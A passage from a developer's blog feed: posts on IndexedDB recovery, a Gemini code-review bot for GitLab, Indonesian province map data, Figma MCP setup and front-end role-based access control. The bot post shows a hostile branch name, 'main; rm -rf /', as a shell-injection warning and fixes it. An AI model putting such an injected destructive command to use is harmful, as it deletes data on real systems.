It's all in a transaction, so if bulkAdd throws, the transaction rolls back, right?

Yes, but you still end up with an empty database.

A transaction rollback undoes every operation in the transaction, including the clear() calls. So technically the data is restored. But if the rollback itself fails (e.g., a connection drops mid-rollback, or the browser crashes), or if your error handling logic doesn't expect the rollback path, the user sees an empty app.

More critically: if you're using Dexie and the bulkAdd encounters a constraint error with default options, it may reject with a partial write, some records added, some not, and the rollback may not be as clean as you expect depending on the error type.

The fix

Take a snapshot before you clear anything, and use it as an explicit fallback:

const snapshot = await exportAllData(); // capture current state

try {
  await db.transaction('rw', [...tables], async () => {
    await db.projects.clear();
    await db.mocks.clear();
    // ...
    await db.projects.bulkAdd(data.projects);
    await db.mocks.bulkAdd(data.mocks);
    // ...
  });
} catch (err) {
  // Import failed, restore the snapshot explicitly
  await db.transaction('rw', [...tables], async () => {
    await db.projects.clear();
    await db.mocks.clear();
    // ...
    await db.projects.bulkAdd(snapshot.projects);
    await db.mocks.bulkAdd(snapshot.mocks);
    // ...
  });
  throw err; // re-throw so the UI can show an error message
}

This is more verbose but the intent is explicit: if the import fails, the user's previous data is unconditionally restored.

Summary

Issue	Why It Happens	Fix
Full database eviction	Unbounded storage growth hits browser quota	Size-cap logged data; request persistent storage; use `unlimitedStorage` in extensions
Lost writes on reconnect	Service worker restart closes DB connection mid-write	Reopen DB automatically after `versionchange` close
Empty DB on import failure	Transaction rollback isn't always reliable as a recovery strategy	Snapshot before clearing, restore explicitly in catch block

The Bigger Lesson

IndexedDB is the closest thing to a real database that the browser gives you, but it doesn't behave like one in a few important ways:

No durability guarantee under quota pressure, the browser can reclaim storage without asking.
Connection lifecycle is tied to page/worker lifecycle, disconnections can happen at any time.
Transactions are atomic but not indestructible, network/browser crashes can interrupt them.

If your app uses IndexedDB to store data that users care about, treat it like you would any database: monitor usage, cap growth, handle reconnection, and always have a recovery path on destructive operations.

This post is based on a real debugging session on Mock Studio, a Chrome extension for mocking HTTP APIs. The fixes described here are live in production.

Built an open-source AI code review bot for GitLab using Gemini. Zero runtime dependencies, inline diff comments, and one-click suggestion buttons. Here's every gotcha I hit along the way!

Deny Herianto — Sun, 15 Feb 2026 16:16:12 +0000

Deny Herianto

Feb 15

Building "Niteni": Gemini Code Review Bot for GitLab with Zero Dependencies

Comments

6 min read

Building "Niteni": Gemini Code Review Bot for GitLab with Zero Dependencies

Deny Herianto — Sun, 15 Feb 2026 14:48:03 +0000

Niteni, Javanese for "to observe carefully." That's what this tool does: it watches your merge requests and tells you what you missed.

I built Niteni to solve a simple problem: I wanted automated, inline code review comments on GitLab merge requests, powered by Google's Gemini, without pulling in half of npm. Here's how it went and the surprising number of things that bit me along the way.

The Idea

GitLab's CI/CD pipelines are powerful, but there's no built-in AI review feature available on the Free tier like GitHub Copilot Reviews. I wanted something that would:

Run inside a standard GitLab CI job
Post findings as inline diff comments (not a wall-of-text MR note)
Provide one-click "Apply suggestion" buttons
Work without any runtime dependencies beyond Node.js itself

That last point was a deliberate constraint. CI environments are ephemeral. Every npm install in a pipeline is wasted time and a potential point of failure. So Niteni uses only Node.js built-ins: https, child_process, fs, path, os, and url.

Architecture: Direct API Call

Early prototypes tried a cascading strategy — Gemini CLI /code-review extension first, then CLI direct prompt, then REST API. But the CLI approaches proved unreliable in CI: Gemini CLI restricts its tool set in non-interactive mode, so the /code-review extension can't even run git diff. No amount of Docker image changes fixes this — it's a fundamental limitation of non-TTY environments.

The solution was simpler: just call the API directly.

async review(diffContent: string): Promise<string> {
  console.log('Reviewing code changes via Gemini REST API...');
  const apiResult = await this.reviewWithAPI(diffContent);
  if (apiResult && this.isStructuredReview(apiResult)) {
    console.log('Gemini REST API review completed successfully.');
    return apiResult;
  }

  throw new Error('Review failed: API response was empty or not in the expected structured format.');
}

A direct HTTP call to generativelanguage.googleapis.com gives us full control over the prompt, the model parameters (temperature: 0.2 for consistent output), and the response format. No CLI installation, no extension dependencies, no sandbox issues — just an API key and a network connection.

The isStructuredReview() method validates the response with a regex check for ### Summary, ### Findings, or severity markers like **CRITICAL**. This prevents malformed output from being posted as a review comment.

Gotcha #1: GitLab CI Variable Circular References

This one cost me hours of debugging. In .gitlab-ci.yml, if you do this:

niteni-code-review:
  variables:
    GEMINI_API_KEY: $GEMINI_API_KEY
    GITLAB_TOKEN: $GITLAB_TOKEN
  script:
    - niteni --mode mr

It looks reasonable, you're just "passing through" the project-level CI/CD variables. But GitLab interprets this as a circular reference. The variable GEMINI_API_KEY expands to the literal string $GEMINI_API_KEY instead of the actual secret value.

The fix: Don't re-declare project-level CI/CD variables in the variables: section. They're already available in every job automatically. Only declare variables in the job if they're new values (like GEMINI_MODEL: gemini-3-flash-preview).

Gotcha #2: Token Authentication is a Maze

GitLab supports three authentication methods, and picking the wrong header silently fails:

Token type	Header
Personal/Project access token	`PRIVATE-TOKEN: glpat-xxx`
CI job token	`JOB-TOKEN: $CI_JOB_TOKEN`
OAuth token	`Authorization: Bearer xxx`

My first implementation always used PRIVATE-TOKEN. It worked locally but failed in CI because $CI_JOB_TOKEN requires the JOB-TOKEN header. The config module now auto-detects the token type:

function resolveToken() {
  const gitlabToken = env.GITLAB_TOKEN && !env.GITLAB_TOKEN.startsWith('$')
    ? env.GITLAB_TOKEN : null;
  if (gitlabToken) return { token: gitlabToken, tokenType: 'private' };
  if (env.CI_JOB_TOKEN) return { token: env.CI_JOB_TOKEN, tokenType: 'job' };
  return { token: '', tokenType: 'private' };
}

Notice the !env.GITLAB_TOKEN.startsWith('$') guard that catches the circular reference gotcha from above. If the variable expanded to a literal $GITLAB_TOKEN string, we fall through to CI_JOB_TOKEN.

Gotcha #3: Inline Diff Comments Need `diff_refs`

GitLab's MR discussion API accepts a position parameter for inline comments. But the position requires three SHA values: base_sha, start_sha, and head_sha. These come from the MR's diff_refs field.

If diff_refs is null (which happens with certain merge strategies or force-pushes), the inline comment fails with a 400 error. The fallback? Post as a general discussion comment instead.

if (diffRefs) {
  try {
    await gitlab.postMergeRequestDiscussion(mrIid, body, position);
  } catch {
    // Fallback: post as general discussion without position
    await gitlab.postMergeRequestDiscussion(mrIid, body);
  }
}

This two-tier posting strategy means the review always gets posted, even if it can't be pinned to the exact line.

Gotcha #4: Parsing LLM Output is Fragile

Gemini's output is structured markdown, but LLMs don't always follow instructions perfectly. The finding regex needs to handle variations:

// Both formats appear in practice:
// **[CRITICAL]** `file.ts:42`    (with brackets)
// **CRITICAL** `file.ts:42`      (without brackets)
const findingRegex = /\*\*\[?(CRITICAL|HIGH|MEDIUM|LOW)\]?\*\*\s*`([^`]+)`/g;

The \[? and \]? make brackets optional. Without this, half the findings were silently dropped.

Another subtlety: the regex-based parser uses exec() in a loop, which maintains lastIndex state. When we peek ahead for the next match to determine where a finding block ends, we need to reset lastIndex afterward. Miss this, and findings get merged or skipped.

Gotcha #5: Shell Injection in CI Environments

The original code used execSync() to run git commands:

// DANGEROUS in CI where branch names come from user input
execSync(`git diff origin/${targetBranch}...HEAD`);

If someone creates a branch named main; rm -rf /, this becomes a shell injection. In CI, branch names are attacker-controlled input.

The fix: Switch to execFileSync() with argument arrays. This calls the binary directly without shell interpretation:

execFileSync('git', ['diff', '-U5', '--merge-base', `origin/${targetBranch}`]);

Similarly, the Gemini API key was originally passed as a URL query parameter. Moving it to the x-goog-api-key header prevents it from appearing in logs, proxy caches, and browser history.

Gotcha #6: Large Diffs and CLI Limits

An earlier version of Niteni tried passing diffs as CLI arguments to gemini -p "...". This hits the OS argument length limit (ARG_MAX) with large diffs. The workaround was writing to temp files with @filename syntax — but this added complexity with file cleanup, PID-based naming for parallel jobs, and error handling.

This was one of several reasons we moved to the REST API: HTTP request bodies have no practical size limit, and the diff is just a JSON string in the request payload. The API approach eliminated an entire class of problems.

Gotcha #7: ReDoS in Glob Pattern Matching

The diff filter converts glob patterns like *.min.js into regex. The naive approach:

// Original - vulnerable to ReDoS
pattern.replace(/[.*+?^${}()|[\]\\]/g, '\\$&').replace(/\\\*/g, '.*');

This escapes the * first, then tries to un-escape it. But it also escapes ., +, and other regex metacharacters that appear in filenames. The order of operations matters, escape everything except glob characters, then convert glob characters:

const escaped = pattern
  .replace(/[.+^${}()|[\]\\]/g, '\\$&')  // escape regex chars (NOT *)
  .replace(/\*/g, '.*')                    // convert glob * to regex .*
  .replace(/\?/g, '.');                    // convert glob ? to regex .

The difference is subtle but critical. The original version would double-escape patterns and produce incorrect matches.

Gotcha #8: URL Encoding Everything Twice (or Not at All)

GitLab project IDs can contain slashes when using namespaced paths like my-group/my-project. These need to be URL-encoded in API paths. But if you encode a numeric project ID like 12345, it stays the same. The code must handle both cases:

const encodedProjectId = encodeURIComponent(this.projectId);
const url = new URL(`${this.apiUrl}/projects/${encodedProjectId}${path}`);

Every path parameter, MR IID, note ID, discussion ID, file paths, branch refs, gets encodeURIComponent(). It's tedious but necessary. A branch named feature/auth without encoding becomes a path traversal.

Testing Without External Dependencies

The test suite uses Node's built-in node:test and node:assert modules. No Jest, no Mocha, no Vitest. This keeps the dependency tree at exactly two entries: typescript and @types/node.

import { describe, it } from 'node:test';
import * as assert from 'node:assert';

The simulation mode (niteni --mode simulate) uses hardcoded mock data that exercises the full parsing pipeline without making any API calls. It's both a demo tool and a manual integration test, you can see exactly what Niteni would post to GitLab.

What I'd Do Differently

Structured output from Gemini. Instead of parsing markdown with regex, I'd use Gemini's JSON mode or function calling to get structured findings. The regex parser works but is inherently fragile.
Rate limiting for large MRs. Posting 20+ inline comments in rapid succession can hit GitLab's API rate limits. A simple delay between requests would help.
Caching reviewed files. If a file hasn't changed between pipeline runs, there's no need to re-review it. A SHA-based cache would cut token usage significantly.
Better diff context. The current approach sends raw diffs. Sending surrounding context (the full file, or at least more lines around changes) would give Gemini better understanding of the code.

The Result

Niteni runs in about 30 seconds in CI, reviews diffs up to 100K characters, and posts findings with one-click suggestion buttons. It catches real bugs, SQL injections, missing auth middleware, hardcoded secrets, loose equality comparisons.

The zero-dependency approach paid off. Install is git clone && npm ci && npm run build. No native modules, no platform-specific binaries, no post-install scripts. It works on node:20-alpine with just git and bash added.

If you're interested in the code: github.com/denyherianto/niteni

Shipping a Portfolio That Actually Represents Me

Deny Herianto — Thu, 22 Jan 2026 02:37:20 +0000

This is a submission for the New Year, New You Portfolio Challenge Presented by Google AI

About Me

Hi, I’m Danny, a frontend engineer who enjoys building products that sit at the intersection of clean UI, solid engineering, and real-world impact.

This portfolio is my attempt to reflect how I think and work today: pragmatic, curious, and focused on building things that actually ship. Rather than treating a portfolio as a static résumé, I wanted it to feel like a living system that shows how I approach problems, make decisions, and grow over time.

Portfolio

Live portfolio: https://denyherianto.com

Embedded live using Google Cloud Run:

How I Built It

I began by defining clear requirements for what the portfolio needed to achieve. Focusing on communication, not decoration. Once the constraints were clear, I used Gemini Chat to polish the idea itself: refining the structure, clarifying the narrative, and stress-testing how my work should be presented to different audiences.

After the concept was solid, I moved into design ideation using aura.build. This stage was about rapidly exploring layout options, visual hierarchy, and content flow. Aura made it easy to experiment, discard weak ideas early, and converge on a clean, readable design without over-committing.

With the design direction established, I used Google AI Studio during implementation to further refine content, project descriptions, and future-facing AI interactions.

The portfolio is deployed on Google Cloud Run, providing a simple, scalable production setup with minimal operational overhead. The entire workflow followed a deliberate loop: define → polish → design → build → ship, closely mirroring how I approach real-world product development.

What I'm Most Proud Of

I’m most proud that this portfolio allows visitors to understand how I think without needing a call or a chat.

Instead of relying on visuals or buzzwords, I focused on clear structure, direct explanations, and context behind each piece of work. Every section is designed to answer the kinds of questions that usually come up in interviews, how I approach problems, make decisions, and ship.

Thanks for checking it out, and thanks to the DEV and Google AI teams for running this challenge.

Peta GeoJSON & TopoJSON Indonesia (38 Provinsi)

Deny Herianto — Wed, 17 Dec 2025 15:34:16 +0000

Indonesia secara resmi kini memiliki 38 provinsi, dan jika Anda pernah mencoba membangun aplikasi berbasis peta, seperti dashboard, peta pemilu, alat logistik, pelacakan bencana, atau visualisasi data. Besar kemungkinan Anda pernah merasakan masalah berikut:

Data provinsi tidak lengkap
Batas wilayah yang sudah tidak relevan
Penamaan yang tidak konsisten

Mengapa Ini Penting

Peta bukan sekadar visual yang menarik. Peta adalah fondasi dari data Anda.

Jika daftar provinsi tidak akurat, maka seluruh sistem ikut bermasalah. Peta choropleth menjadi keliru. Analitik tidak sesuai dengan wilayah sebenarnya. Tooltip menampilkan nama yang salah.

Indonesia telah menambah beberapa provinsi baru, Papua Selatan, Papua Tengah, Papua Pegunungan, dan Papua Barat Daya. Sehingga banyak dataset lama kini sudah tidak relevan. Bahkan, banyak sumber publik masih hanya menampilkan 34 provinsi.

Cakupan

Data Lengkap

38 provinsi, termasuk:
- Papua Selatan
- Papua Tengah
- Papua Pegunungan
- Papua Barat Daya

Dua Tipe Format

GeoJSON
- Mudah digunakan
- Kompatibel dengan Leaflet, Mapbox GL, dan overlay Google Maps
TopoJSON
- Ukuran file ~80–90% lebih kecil
- Waktu muat lebih cepat
- Ideal untuk D3.js dan visualisasi skala besar

Bersih & Konsisten

Nama provinsi yang telah dinormalisasi
ID stabil untuk proses data join
Tidak ada geometri duplikat
Jalur (path) yang telah disederhanakan dan ramah web

GeoJSON vs TopoJSON (Ringkasan)

Fitur	GeoJSON	TopoJSON
Keterbacaan	✅ Tinggi	⚠️ Sedang
Ukuran File	❌ Besar	✅ Sangat Kecil
Performa Browser	⚠️ Bisa lambat	✅ Cepat
Paling Cocok Untuk	Peta sederhana	Visualisasi data, dashboard

Jika Anda membangun dashboard interaktif, TopoJSON adalah pilihan yang tepat.

Jika Anda butuh yang plug-and-play, GeoJSON sudah sangat memadai.

Contoh Kasus Penggunaan

Dataset ini ideal untuk:

📊 Dashboard pemerintahan & layanan publik
🌋 Pelacakan bencana & banjir
🗳️ Peta pemilu & demografi
🚚 Perencanaan logistik & cakupan layanan
📍 Produk SaaS berbasis lokasi
📱 Visualisasi data yang mobile-first

Contoh: Menggunakan GeoJSON dengan Leaflet

import L from "leaflet";
import indonesiaProvinces from "./indonesia-38-provinces.geojson";

L.geoJSON(indonesiaProvinces, {
  style: {
    color: "#1e40af",
    weight: 1,
    fillOpacity: 0.6,
  },
  onEachFeature: (feature, layer) => {
    layer.bindPopup(feature.properties.province);
  },
}).addTo(map);

Contoh: Menggunakan TopoJSON dengan D3.js

import * as d3 from "d3";
import { feature } from "topojson-client";

// Import file TopoJSON (mendukung Vite / Webpack / Next.js)
import topoData from "./indonesia-38-provinces.topo.json";

const width = 800;
const height = 600;

const svg = d3
  .select("#map")
  .append("svg")
  .attr("width", width)
  .attr("height", height);

const projection = d3
  .geoMercator()
  .fitSize([width, height], feature(topoData, topoData.objects.indonesia_provinces));

const path = d3.geoPath().projection(projection);

// Konversi TopoJSON → GeoJSON
const provinces = feature(
  topoData,
  topoData.objects.indonesia_provinces
);

svg
  .selectAll("path")
  .data(provinces.features)
  .enter()
  .append("path")
  .attr("d", path)
  .attr("fill", "#60a5fa")
  .attr("stroke", "#1e3a8a")
  .append("title")
  .text(d => d.properties.province);

Unduh

Unduh dataset melalui repositori berikut:

https://github.com/denyherianto/indonesia-geojson-topojson-maps-with-38-provinces

GeoJSON & TopoJSON Maps of Indonesia (38 Provinces)

Deny Herianto — Wed, 17 Dec 2025 15:05:27 +0000

Indonesia officially has 38 provinces, and if you’ve ever tried to build a map-based app or dashboards, election maps, logistics tools, disaster tracking, or data visualizations. You’ve probably felt the pains:

Incomplete province data
Outdated boundaries
Inconsistent naming

Why You Should Care

Maps aren’t just pretty pictures. They’re the backbone of your data.

If your province list is off, you’re in trouble. Choropleth maps end up wrong. Analytics don’t match real regions. Tooltips show the wrong names.

Indonesia’s added new provinces, Papua Selatan, Papua Tengah, Papua Pegunungan, Papua Barat Daya. So older datasets are now out of date. A lot of public sources still only show 34 provinces.

What’s Included

Complete Coverage

38 provinces, including:
- Papua Selatan
- Papua Tengah
- Papua Pegunungan
- Papua Barat Daya

Two Formats

GeoJSON
- Easy to use
- Compatible with Leaflet, Mapbox GL, Google Maps overlays
TopoJSON
- ~80–90% smaller file size
- Faster loading
- Ideal for D3.js and large-scale visualizations

Clean & Consistent

Normalized province names
Stable IDs for data joins
No duplicated geometries
Simplified paths (web-friendly)

GeoJSON vs TopoJSON (Quick Recap)

Feature	GeoJSON	TopoJSON
Readability	✅ High	⚠️ Medium
File Size	❌ Large	✅ Very Small
Browser Performance	⚠️ Can lag	✅ Fast
Best For	Simple maps	Data viz, dashboards

If you’re building interactive dashboards, TopoJSON is your friend.

If you want plug-and-play simplicity, GeoJSON works great.

Common Use Cases

This dataset is ideal for:

📊 Government & civic dashboards
🌋 Disaster & flood tracking
🗳️ Election & demographic maps
🚚 Logistics & coverage planning
📍 Location-based SaaS products
📱 Mobile-first data visualizations

Example: Using GeoJSON with Leaflet

import L from "leaflet";
import indonesiaProvinces from "./indonesia-38-provinces.geojson";

L.geoJSON(indonesiaProvinces, {
  style: {
    color: "#1e40af",
    weight: 1,
    fillOpacity: 0.6,
  },
  onEachFeature: (feature, layer) => {
    layer.bindPopup(feature.properties.province);
  },
}).addTo(map);

Example: Using TopoJSON with D3

import * as d3 from "d3";
import { feature } from "topojson-client";

// Import TopoJSON file (Vite / Webpack / Next.js supported)
import topoData from "./indonesia-38-provinces.topo.json";

const width = 800;
const height = 600;

const svg = d3
  .select("#map")
  .append("svg")
  .attr("width", width)
  .attr("height", height);

const projection = d3
  .geoMercator()
  .fitSize([width, height], feature(topoData, topoData.objects.indonesia_provinces));

const path = d3.geoPath().projection(projection);

// Convert TopoJSON → GeoJSON
const provinces = feature(
  topoData,
  topoData.objects.indonesia_provinces
);

svg
  .selectAll("path")
  .data(provinces.features)
  .enter()
  .append("path")
  .attr("d", path)
  .attr("fill", "#60a5fa")
  .attr("stroke", "#1e3a8a")
  .append("title")
  .text(d => d.properties.province);

Download

You can download the datasets directly from the repository:

https://github.com/denyherianto/indonesia-geojson-topojson-maps-with-38-provinces

Simplifying Figma MCP Server: How to Start in Minutes

Deny Herianto — Mon, 03 Nov 2025 15:19:53 +0000

Overview

Unlock efficient design-to-code workflows by connecting Figma to Cursor using the Model Context Protocol (MCP) server. This guide covers both the official Figma Dev Mode MPC server and community alternatives, offering actionable steps, troubleshooting, and best practices.

What is MCP and Why Use It?

MCP (Model Context Protocol) lets tools like Cursor read and translate Figma design context directly, speeding up token extraction and React/Tailwind code generation. Developers can automate UI component mapping and asset extraction, improving accuracy and workflow efficiency.

Why this matters

If you’ve ever felt the gap between designer’s Figma file and developer’s codebase, you’re not alone. The MCP (Model Context Protocol) Server in Figma brings more than just a screenshot. It brings actual design context into your development tools so you generate code that truly matches your design system, not just in look, but in structure too.

What is the Figma MCP Server?

In simple terms: it’s a bridge between your Figma designs and your development environment.

It surfaces variables, components, layouts, style tokens and more from Figma into your IDE, so AI-assisted tools (or manual workflows) know exactly what you meant when you sketched that button or card.
Instead of feeding an image or a PDF, you’re giving your tools data—and data = better accuracy, fewer mis-aligned features, less “why does this look different in code” drama.
Ideal if you have a design system, or want one, and you want to reduce friction between designers and developers.

A) Official way (recommended): Figma Dev Mode MCP → Cursor

Prerequisites:

Figma Desktop app (latest) with a Dev or Full seat on Professional/Organization/Enterprise. (Guide to the Figma MCP server)
Cursor (latest) with MCP enabled. (Model Context Protocol (MCP) | Cursor Docs)

Steps:

Turn on the MCP server in Figma Desktop
a. Open Figma Desktop → Menu → Preferences → Enable Dev Mode MCP Server.
b. You’ll see it’s running locally at: http://127.0.0.1:3845/mcp. Keep that URL.
Add the server in Cursor
Cursor → Settings → Cursor Settings → MCP → + Add new global MCP server, then use this config:

   {
     "mcpServers": {
       "Figma": {
         "url": "http://127.0.0.1:3845/mcp"
       }
     }
   }

Verify it worked

Open Cursor chat (Agent/Composer). Type #get_code to see Figma tools (e.g., get_code, get_variable_defs, optionally get_image). If nothing shows, restart both Figma Desktop and Cursor.

Use it (two easy flows)

Selection-based: select a frame/layer in Figma, then prompt Cursor to generate code for your selection.
Link-based: copy a Figma frame/layer link, paste it in chat, and ask for code/tokens.

Available tools include:

get_code → produces React+Tailwind by default (you can ask for Next.js/Vue/etc.).
get_variable_defs → lists variables/styles used (great for tokens).
Enable Preferences → Dev Mode MCP Server Settings → get_image to include screenshots for layout fidelity; also enable Code Connect to map Figma nodes to your components.

Troubleshooting quick hits

Must be Figma Desktop (server runs locally over SSE). Check the URL/port http://localhost:3845/mcp.
In Cursor, you can view MCP Logs (Output panel → “MCP Logs”) to see connection errors/timeouts.

B) Alternative: Community Figma MCP server (stdio / token-based)

If you want a standalone MCP server that talks to Figma’s REST API (handy for headless/remote setups or deeper API methods), you can run one locally and point Cursor at it.

Pick a server
Example:
GitHub - GLips/Figma-Context-MCP: MCP server to provide Figma layout information to AI coding agents like Cursor
Get a Figma Personal Access Token (PAT)
Figma → Settings → Security → Personal access tokens → Generate new token (copy it once).
Add the Framelink Figma MCP server to your IDE

{
  "mcpServers": {
    "Framelink Figma MCP": {
      "command": "npx",
      "args": [
        "-y",
        "figma-developer-mcp",
        "--figma-api-key=YOUR-KEY",
        "--stdio"
      ]
    }
  }
}

How to Use:

Option 1: Select a Frame, Then Chat in Cursor

Open the Design
a. In Figma Desktop, open your file.
b. Click the frame or section you want (e.g. Hero, Pricing Page, Dashboard).
Generate Tokens (recommended)
In Cursor chat, type: #get_variable_defs
- Cursor shows colors, fonts, spacing used in your selection.
- Save these into tokens.ts or tailwind.config.ts.
Generate Code
a. In Cursor chat, type: #get_code
b. Then add a prompt like: Generate a Next.js page with React + Tailwind from my current selection. Use components from @/components/ui. Map all values to tokens, no hardcoded hex or px.
c. Cursor will create page.tsx (and child components if needed).
Refine
a. If output uses plain , ask Cursor: Replace raw buttons with my <Button /> component.
b. Keep iterating until it matches your system.

Option 2: Copy & Paste a Figma Link

Get the Link
In Figma, right-click the frame → Copy/Paste → Copy link.
Paste into Cursor
In Cursor chat, paste the link. Example: https://www.figma.com/file/xxxxxx?node-id=123-456
Ask for Code
After the link, add a prompt: Turn this Figma frame into a responsive Next.js page using React + Tailwind. Use my components in @/components/ui. Map to tokens from get_variable_defs.
Export Assets (if needed)
Ask Cursor: Export images/vectors from this frame into public/assets/... and update imports.

Which option to Use?

Frame selection → Best when you already have Figma open. The MCP server passes selection data directly.
Copy link → Best when someone shares a link in Slack/Docs. Cursor fetches design data for that node.

Mastering Role-Based Access Control in Your Javascript CMS

Deny Herianto — Mon, 03 Nov 2025 14:35:43 +0000

Implementing Role-Based Access Control (RBAC) in a CMS Frontend

Role-Based Access Control (RBAC) is a critical part of building secure, maintainable, and scalable content management systems (CMS). This article explores the strategies, pitfalls, and best practices for implementing RBAC, particularly in React and Next.js environments, with a focus on configuration, code structure, and practical application.

Why RBAC Matters in CMS

A CMS empowers experts to manage digital content without deep technical knowledge, saving organizations significant time and resources. However, with convenience comes the need for strict security and efficient workflows. RBAC ensures that only authorized users access sensitive data and critical site features, helping maintain integrity and compliance.

Roles

Roles are a critical part of ensuring the safety of the data stored in a CMS, creating efficient workflows, building independent teams. Each role has specific permissions that the user is allowed to perform and view in the CMS.

When it comes to roles, I recommend great flexibility, i.e. the ability to create and define user accounts and groups freely (roles like "contributor", "manager" etc. are not hard-coded, but put into a configuration file that can be changed per application). The role configuration is unaccessible to the user, but the engine itself should be free from hard-coded roles.

Key Approaches to Access Control

Action-Based Access Control: Grants permissions based on specific actions (e.g., create, read, update, delete) that users can perform.
Role-Based Access Control: Grants permissions based on user roles (such as Contributor, Manager, or Admin), which group together sets of privileges.

While each method has merit, a combined approach often yields the most maintainable and secure system in modern CMS implementations.

Common Role Definitions

A typical CMS will include roles such as:

Super Admin: Full access, including user and site management.
Admin: Manage content and users, but may not access system settings.
Manager: Schedule and supervise content but with limited system access.
Contributor: Create and edit content within set boundaries.
Author: Submit content, sometimes with limited publishing rights.

RBAC vs ACL flow

Roles Checker - per Page

Roles Checker - per Action

Access Level

Below are my approach options regarding access level definitions. We can combine the definitions of the 2 approaches. Roles will be defined on BE and Action Permissions will be defined on FE.

Examples below:

Action-based approach

Based on Common CMS roles and access levels:

Role-based Approach

Based on What names for standard website user roles?:

Problems and Challenges

Implementing RBAC can introduce issues if not planned carefully:

Roles and permissions hard-coded in the app are hard to maintain.
Exposing role configuration to end-users creates security risks.
Ensuring consistent access checks, especially with server-side rendering (SSR), is non-trivial.
Permissions must adapt to evolving business needs without complete rewrites.

Designing Flexible Permissions Configs

A robust solution avoids hard-coded roles by storing them in configuration files (e.g., configs/roles/index.ts). This enables:

Adjusting roles and permissions independently of the CMS core.
Abstracting role definitions away from UI components.
Easy scaling as new roles or features emerge.

Example configuration for roles and permissions:

// configs/roles/index.ts
export const ROLES = {
  SUPER_ADMIN: 'super.admin',
  ADMIN: 'admin',
  MANAGER: 'manager',
  CONTRIBUTOR: 'contributor',
};

// configs/policies/users.ts
export const permissions = {
  '/users': {
    roles: [ROLES.SUPER_ADMIN, ROLES.ADMIN, ROLES.MANAGER],
    actions: {
      create: [ROLES.ADMIN],
      delete: [ROLES.SUPER_ADMIN],
    },
  },
};

Implementation Strategies in React/Next.js

Using Higher-Order Components (HOC)

Higher-Order Components wrap pages or components to enforce authentication and permission checks, enabling server-side rendering (SSR) where required.

<root>/utils/lib/withPermission.tsx

import { useCallback } from 'react'
import NextApp from 'next/app'
import { useUserStore } from 'stores/user'

const withPermission = (App: NextApp | any) => {
  return (props) => {
    const { user } = useUserStore((state) => ({
      user: state.user,
    }))

    const hasAccess = useCallback(
      (name, permissions) => {
        if (permissions?.[name]?.['*']) {
          return permissions[name]['*'].some((role) =>
            user?.roles?.includes(role)
          )
        }

        return true
      },
      [user]
    )
    const { name, permissions } = App?.auth
    const allowed = permissions.length && hasAccess(name, permissions)
    return <>{allowed ? <App {...props} /> : <div>Permission Denied...</div>}</>
  }
}

export default withPermission

<root>/pages/manage-users/index.tsx

import React from 'react'
import Head from 'next/head'
import Layout from 'components/Layout'
import { permissions, roles } from 'configs/policies'
import withPermission from 'utils/lib/withPermission'

export const App = () => {
  return (
    <>
      <Head>
        <title>CMS - Manage Users</title>
      </Head>

      <Layout>Manage Users</Layout>
    </>
  )
}

App.auth = {
  name: 'MANAGE_USERS',
  permissions,
  roles,
}

export default withPermission(App)

Pros

Cons

Can only check per page, not per action
Need to define per page
Cannot check auth & session first before checking roles

Using Component Wrapper

<root>/components/AccessControl/index.tsx

import { usePermission } from 'utils/hooks/usePermission'

const AccessControl = ({ allowedPermissions, children, renderNoAccess }) => {
  const { checkPermissions } = usePermission()

  const permitted = checkPermissions(allowedPermissions)

  if (permitted) {
    return children
  }
  return renderNoAccess()
}

AccessControl.defaultProps = {
  allowedPermissions: [],
  renderNoAccess: () => null,
}

export default AccessControl

<root>/pages/manage-users/index.tsx

import React from 'react'
import Head from 'next/head'
import Layout from 'components/Layout'
import { permissions } from 'configs/policies'
import AccessControl from 'components/AccessControl'

export const App = ({ allowedPermissions }) => {
  return (
    <>
      <Head>
        <title>CMS - Manage Users</title>
      </Head>

      <Layout>
        <AccessControl
          allowedPermissions={
            allowedPermissions['*'] || allowedPermissions['read']
          }
          renderNoAccess={() => <div>No access</div>}
        >
          <div>
            <div id="title">Manage Users</div>
            <AccessControl
              allowedPermissions={allowedPermissions['create']}
              renderNoAccess={() => null}
            >
              <div id="write">Write</div>
            </AccessControl>
            <AccessControl
              allowedPermissions={allowedPermissions['delete']}
              renderNoAccess={() => null}
            >
              <div id="write">Delete</div>
            </AccessControl>
          </div>
        </AccessControl>
      </Layout>
    </>
  )
}

const PAGE_NAME = 'MANAGE_USERS'

App.auth = {
  name: PAGE_NAME,
  permissions,
}

App.getInitialProps = () => {
  return { allowedPermissions: permissions[PAGE_NAME] }
}

export default App

<root>/utils/hooks/usePermission.ts

import { useCallback } from 'react'
import { useUserStore } from 'stores/user'

export function usePermission() {
  const { user } = useUserStore((state) => ({
    user: state.user,
  }))

  const checkPermissions = useCallback(
    (permissions) => {
      if (permissions.length === 0) {
        return true
      }

      if (permissions) {
        return user?.roles?.some((permission) =>
          permissions?.includes(permission)
        )
      }
    },
    [user]
  )

  return {
    checkPermissions,
  }
}

Pros

Can check per page & per action

Cons

Need to define in each page

Using Hooks

Custom hooks like usePermission() allow components to check user permissions dynamically and render views accordingly.

<root>/utils/hooks/useAuth.tsx

import { usePermission } from 'utils/hooks/usePermission'

...

export function AuthGuard(props) {
  const router = useRouter()

  const { children, name, permissions } = props
  const { hasNextAuthSession, hasUser } = useAuthGuard()
  const { checkPermissions } = usePermission()

  const defaultPermissions = [
    ...new Set([
      ...(permissions[name]?.['*'] ?? []),
      ...(permissions[name]?.['read'] ?? []),
    ]),
  ]
  const permitted = checkPermissions(defaultPermissions)

  if (hasNextAuthSession && hasUser) {
    if (permitted) {
      return children
    }

    router.push('/permission-denied')
  }

  return (
    <>
      <LoadingState>Memuat...</LoadingState>
    </>
  )
}

Pros

No need to define per page

Cons

Can only check per page, not per action

Example: AccessControl Component

import { useRouter } from 'next/router'
import type { ReactElement } from 'react'
import React from 'react'

import { usePermission } from 'utils/hooks/usePermission'

export type AccessControlProps = {
  actions?: string[]
  allowedPermissions?: string[]
  children: ReactElement
  noAccessMessage?: string
  redirectUrl?: string
}

const AccessControl = ({
  actions,
  allowedPermissions,
  children,
  noAccessMessage,
  redirectUrl,
}: AccessControlProps) => {
  const { checkPermissions, currentPathPermissions } = usePermission()
  const [permitted, setPermitted] = React.useState(true)
  const router = useRouter()

  React.useEffect(() => {
    const isPermitted = checkPermissions(
      allowedPermissions.length
        ? allowedPermissions
        : currentPathPermissions(actions)
    )
    setPermitted(isPermitted)

    if (!isPermitted) {
      if (noAccessMessage) console.log({ message: noAccessMessage })
      if (redirectUrl) router.replace(redirectUrl)
    }
